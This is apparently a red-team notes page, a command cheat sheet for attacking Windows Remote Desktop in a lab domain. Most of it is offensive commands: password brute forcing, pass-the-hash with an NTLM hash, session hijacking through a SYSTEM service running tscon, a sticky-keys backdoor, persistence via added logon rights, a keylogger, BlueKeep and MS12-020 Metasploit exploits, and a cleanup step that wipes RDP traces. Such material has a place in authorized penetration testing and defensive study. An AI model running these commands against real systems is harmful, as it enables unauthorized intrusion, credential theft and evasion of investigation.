N1NJ10

RDP

Resources

Commnads

  • Technology

    • Enable RDP
      • cmd 
        reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f # This enable it locally 
 
netsh advfirewall firewall set rule group=”remote desktop” new enable=Yes
 
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
      • Powershell 
        Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
 
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
 
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" | Select-Object fDenyTSConnections
      • Manually Firewall 
        # CMD
netsh advfirewall firewall add rule name="Allow Remote Desktop" dir=in protocol=TCP localport=3389 action=allow 
 
# Powershell 
New-NetFirewallRule -DisplayName 'Allow Remote Desktop' -Profile @('Domain', 'Private') -Direction Inbound -Action Allow -Protocol TCP -LocalPort @('3389')
    • Enable NLA
      • DC GPO 
        Computer Configuration > Policies > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Security > Require user authentication for remote connections by using Network Level Authentication
 
gpupdate /force
      • Powershell 
        Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1
 
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication"
        • Windows 11 
          # Force the Security Layer to 2 (Strict SSL/TLS - Required for NLA) (0 = RDP, 1 = Negotiate, 2 = TLS)
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "SecurityLayer" -Value 2 -Force
 
if (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services")) {
    New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Force
}
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "UserAuthentication" -Value 1 -PropertyType DWORD -Force
 
Restart-Service -Name TermService -Force
      • WMI 
        $WMI_TS = Get-WmiObject -Class "Win32_TSGeneralSetting" -Namespace "root\cimv2\terminalservices" -Filter "TerminalName='RDP-tcp'"
$WMI_TS.SetUserAuthenticationRequired(1)
        • Windows 11 
          # 1. Grab the live WMI object for the RDP listener
$WMI = Get-WmiObject -Class "Win32_TSGeneralSetting" -Namespace "root\cimv2\terminalservices" -Filter "TerminalName='RDP-tcp'"
 
# 2. Force NLA On (1 = True, 0 = False)
$WMI.SetUserAuthenticationRequired(1)
 
# 3. Force Security Layer to TLS (0 = RDP, 1 = Negotiate, 2 = TLS)
$WMI.SecurityLayer = 2
$WMI.Put() | Out-Null
    • RestrictedAdmin Mode (RDP-over-PTH)
      • Enable
        • Powershell 
          Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0 -Force # Enable
 
reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin
        • Impacket
          • reg 
            impacket-reg 'CS/fmoheb:Password123#f@192.168.99.10' query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin
impacket-reg 'CS/fmoheb:Password123#f@192.168.99.10' add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin -vt REG_DWORD -vd 0
 
impacket-reg 'CS/fmoheb:Password123#f@192.168.99.10' add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin -vt REG_DWORD -vd 1
impacket-reg 'CS/fmoheb:Password123#f@192.168.99.10' delete -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin
        • RestrictedAdmin.exe 
          .\RestrictedAdmin.exe 192.168.99.11 # check 
.\RestrictedAdmin.exe 192.168.99.11 0
.\RestrictedAdmin.exe 192.168.99.11 1
.\RestrictedAdmin.exe 192.168.99.11 clear
      • Connecting 
        mstsc.exe /restrictedAdmin
    • Remote Credential guard
      • Enable
        • DC GPO 
          Computer Configuration > Policies > Administrative Templates > System > Delegation of Credentials
        • Powershell 
          Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0 -Force # Yea same as RestrictedAdmin Mode
      • Connecting 
        mstsc.exe /remoteGuard

  • Recon

    • Windows
      • Configrations
        • Modes 
          reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" # GPO policy 0 = enable
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" | Select-Object fDenyTSConnections
 
 
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" # Local
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" | Select-Object fDenyTSConnections
        • NLA 
          reg query "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication
        • RestrictedAdmin 
          reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin
        • RDP Permissions 
          # Remote Desktop Service Security Descriptor
((Get-WmiObject -class Win32_TSPermissionsSetting -namespace "root\CIMV2\terminalservices" | ?{$_.TerminalName -eq "RDP-tcp"} | select -expand stringsecuritydescriptor | convertfrom-sddlstring) |select -expand discretionaryacl) -split ':'
 
# Terminal Services listener permissions
Get-CimInstance -Namespace "root\CIMV2\TerminalServices" -ClassName Win32_TSAccount | Select-Object TerminalName, AccountName, PermissionsAllowed
          • RDP Info’s 
            Get-LocalGroupMember -Group "Remote Desktop Users" #winrm
 
net localgroup "Remote Desktop Users"
      • Powerview 
        Get-NetComputer |  Get-NetRDPSession | ft -AutoSize
Get-DomainComputer | Get-NetRDPSession -Credential $cred # Look here [https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtsenumeratesessionsexw](https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtsenumeratesessionsexw) || [https://learn.microsoft.com/en-us/windows/win32/termserv/terminal-services-permissions](https://learn.microsoft.com/en-us/windows/win32/termserv/terminal-services-permissions) => This means the user can list the rdp sessions on the PC if he in the Domain admins , Local admin , Local Remote desktop user
 
# RDP users 
Get-NetLocalGroupMember -ComputerName win11 -GroupName "Remote Desktop Users" # ADSI WinNT over SMB
      • qwinsta 
        query session /server:Win11.RedteamRecipes.com
 
qwinsta.exe /server:win11
query session # Locally
      • RemoteSessionEnum (Low Priv) 
        .\RemoteSessionEnum.exe win11
      • History 
        # Check RDP client history 
Get-ItemProperty "HKCU:\Software\Microsoft\Terminal Server Client\Default" 
 
# Check recent servers 
Get-ChildItem "HKCU:\Software\Microsoft\Terminal Server Client\Servers"
 
# Review session events 
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" -MaxEvents 50 | Select-Object TimeCreated, Id, Message
      • Mimikatz
        • Session 
          mimikatz # ts::sessions
        • Extracting
          • ClientSide 
            mimikatz # ts::mstsc # Token::elevate before
          • ServerSide 
            mimikatz # ts::logonpasswords # Token::elevate before
    • Linux
      • Bruteforcing 
        hydra -l fmoheb -P passwords rdp://192.168.99.32 -V
 
ncrack -v --user fmoheb -P passwords rdp://192.168.99.32,CL=1,cd=5s -vv # Doesn't work 
 
nxc smb 192.168.99.32 -u fmoheb -p passwords -d REDTEAMRECIPES
 
crowbar -b rdp -s 192.168.99.32/32 -u 'REDTEAMRECIPES\fmoheb' -C passwords -n 2  -v # Session based (doesn't read the error code may provide fasle positive)
 
patator rdp_login host=192.168.99.32 user="REDTEAMRECIPES\fmoheb" password=FILE0 0=passwords # Look at the erros
      • nmap 
        nmap -n -Pn -sS --open -p3389 --min-rate 1000 -oA rdp_scan 192.168.99.0/24
      • nxc 
        nxc rdp 192.168.99.0/24
      • Xfreerdp
        • NLA Test 
          xfreerdp /v:192.168.99.32 /sec:tls # NLA Off
      • RestrictedAdmin
        • Impacket
          • reg 
            impacket-reg 'redteamrecipes.com/fmoheb:Password123#f@192.168.99.31' query -keyName "HKLM\System\CurrentControlSet\Control\Lsa" -v DisableRestrictedAdmin # fmoheb is local admin there
          • tstool 
            impacket-tstool 'redteamrecipes/fmoheb:Password123#f@192.168.99.32' qwinsta
 
impacket-tstool 'redteamrecipes/fmoheb:Password123#f@192.168.99.32' tasklist
        • nxc (Throw Winrm) 
          nxc winrm 192.168.99.31 -u fmoheb -p Password123#f -x "reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin"

  • Exploitation

    • Windows
      • SharpRDP 
        .\SharpRDP.exe computername=win11.redteamrecipes.com command=calc.exe username=redteamrecipes.com\fmoheb password=Password123#f 
 
.\SharpRDP.exe computername=win11.redteamrecipes.com command=calc.exe username=redteamrecipes.com\fmoheb password=Password123#f takeover=true
 
.\SharpRDP.exe computername=win11.redteamrecipes.com command=calc.exe # restected admin mode (With the same session ur in)
        • Opsec 
          .\CleanRunMRU.exe query
.\CleanRunMRU.exe command="calc.exe"
.\CleanRunMRU.exe clearall

      Info

      • Logon Error: ARBITRATION_CODE_BUMP_OPTIONS (-5) : that the target machine already has an active user session locked-to or logged-on-to the console
      • If you provide a creds for a user the currently In using RDP it will cut his connection
      • takeover=true : if the user doesn’t responde it will execute the command
      • Mimikatz 
        mimikatz # sekurlsa::pth /user:"tsoprano" /domain:"redteamrecipes.com" /ntlm:01ee11c4a4fc6293f3b12ce84632ee5e /run:"mstsc.exe /restrictedAdmin"

      INFO

      If it still shows the user you are currently logged on with, just ignore it - everything will just work ;-)

      • Session hijacking
        • Tscon (System Acc) 
          query user # Enum
 
sc create hijackedsession binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#1" # SYSTEM trick
 
net start hijackedsession # Hijack
 
sc.exe delete hijackedsession # Clean

        TIP

        with Windows 10 and Windows Server 2016/2019, Microsoft quietly changed the architecture of the Remote Desktop Service. Now, whenever a session switch is forced via tscon.exe even if it is executed by the SYSTEM account the operating system intercepts the handoff and intentionally forces the desktop to lock.

        • Impacket
          • tstool 
            impacket-tstool 'redteamrecipes/fmoheb:Password123#f@192.168.99.32' tscon -source 2 -dest 3
    • Linux
      • Mimikatz 
        mimikatz # token::elevate
mimikatz # ts::sessions
mimikatz # ts::remote /id:3 # The GUI is doing exactly what Microsoft designed it to do: stopping you from seeing the desktop without typing the password, even though you mathematically own the session routing.
    • Enable RestrictedAdmin Mode
      • Impacket
        • reg 
          impacket-reg 'redteamrecipes.com/fmoheb:Password123#f@192.168.99.31' add -keyName "HKLM\System\CurrentControlSet\Control\Lsa" -v DisableRestrictedAdmin -vt REG_DWORD -vd 0
    • PTH
      • xfreerdp 
        xfreerdp3 /u:fmoheb /pth:01ee11c4a4fc6293f3b12ce84632ee5e /v:192.168.99.11 /cert:ignore
    • MITIM
      • Seth 
        ./seth.sh eth0 192.168.99.23 192.168.99.32 192.168.99.31

  • Post Exploitation

    • Enable RDP 
      # Run GUI
meterpreter > run getgui -e -u ignite -p 123
 
# Enable RDP 
meterpreter > run getgui -e
 
# Enable RDP + Add user to [Local admin + Remote Desktop Users]
use post/windows/mange/enable_rdp
    • Sticky Keys
      • Powershell 
        reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
      • MSF 
        use post/windows/manage/sticky_keys
set session 1
exploit
    • impacket
      • tstool 
        impacket-tstool 'redteamrecipes/fmoheb:Password123#f@192.168.99.32' taskkill -pid 7660
    • Persistance
      • SeRemoteInteractiveLogonRight 
        $User = New-Object System.Security.Principal.NTAccount('redteamrecipes', 'jsnow')
$SID = "*" + $User.Translate([System.Security.Principal.SecurityIdentifier]).Value
secedit /export /cfg $env:TEMP\secpol.txt /quiet
$CurrentLine = (Select-String -Path $env:TEMP\secpol.txt -Pattern "SeRemoteInteractiveLogonRight").Line
$NewLine = "$CurrentLine,$SID"
(Get-Content $env:TEMP\secpol.txt).Replace($CurrentLine, $NewLine) | Set-Content $env:TEMP\secpol.txt
secedit /configure /db $env:TEMP\secpol.sdb /cfg $env:TEMP\secpol.txt /areas USER_RIGHTS /quiet
 
Remove-Item $env:TEMP\secpol.txt
Remove-Item $env:TEMP\secpol.sdb
 
$Listener = Get-CimInstance -Namespace "root\CIMV2\TerminalServices" -ClassName Win32_TSPermissionsSetting -Filter "TerminalName='RDP-Tcp'"
Invoke-CimMethod -InputObject $Listener -MethodName AddAccount -Arguments @{
      AccountName = $User.Value
      PermissionPreSet = [uint32]2
}
 
 
Get-CimInstance -Namespace "root\CIMV2\TerminalServices" -ClassName Win32_TSAccount | Select-Object TerminalName, AccountName, PermissionsAllowed
      • Keylogger 
        .\TakeMyRDP.exe
      • Shadow Screen 
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4 /f
 
impacket-tstool 'redteamrecipes/fmoheb:Password123#f@192.168.99.32' shadow -session 2
 
xfreerdp invite.msrcIncident /cert:ignore

  • Tips & Tricks

    • Quick Wins
      • MS12-020 (Win7 - Winserver 2008 R2 ) 
        # Scanner 
msf> use auxiliary/scanner/rdp/ms12_020_check
msf> set rhosts 192.168.99.35
msf> exploit
 
# Exploit 
msf> use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf> set rhosts 192.168.1.35
msf> exploit
      • BlueKeep (Win7 - Winserver 2008 R2 ) 
        # Scanner 
msf> use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
msf> set rhosts 192.168.1.35
msf> exploit
 
# Exploit 
msf> use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf> set rhosts 192.168.1.16
msf> set target 5
msf> exploit
msf> sysinfo
    • Multiple RDP Sessions 
      ./PatchRDP.ps1
      • Mimikatz 
        mimikatz # privilege::debug
mimikatz # ts::multirdp # it only affects the running TermService process and disappears after a reboot
    • tstool 
      impacket-tstool 'redteamrecipes/fmoheb:Password123#f@192.168.99.32' tsdiscon -session 3
 
impacket-tstool 'redteamrecipes/fmoheb:Password123#f@192.168.99.32' logoff -session 2
 
impacket-tstool 'redteamrecipes/fmoheb:Password123#f@192.168.99.31' msg -session 2 -message 'You Got Hacked'
    • CleanUP 
      cmdkey /list | ? { $_ -Match "TERMSRV/" } | % { $_ -Replace ".*: " } | % { cmdkey /delete:$_ }
Remove-Item -Path "$Env:LocalAppData\Microsoft\Terminal Server Client\Cache" -Recurse -ErrorAction SilentlyContinue
Remove-Item -Path "HKCU:\Software\Microsoft\Terminal Server Client\Default" -Force -ErrorAction SilentlyContinue
Remove-Item -Path "HKCU:\Software\Microsoft\Terminal Server Client\Servers" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "HKCU:\Software\Microsoft\Terminal Server Client\LocalDevices" -Recurse -Force -ErrorAction SilentlyContinue

Tools

Notes

Later 2 Read

Updates

Get Updated

Notes Feed

Subscribe by email to get notified when new notes or major revisions are published.

New pagesMajor revisionsDirect inbox

This opens a prepared subscription email to the notes updates inbox.

Graph View

Backlinks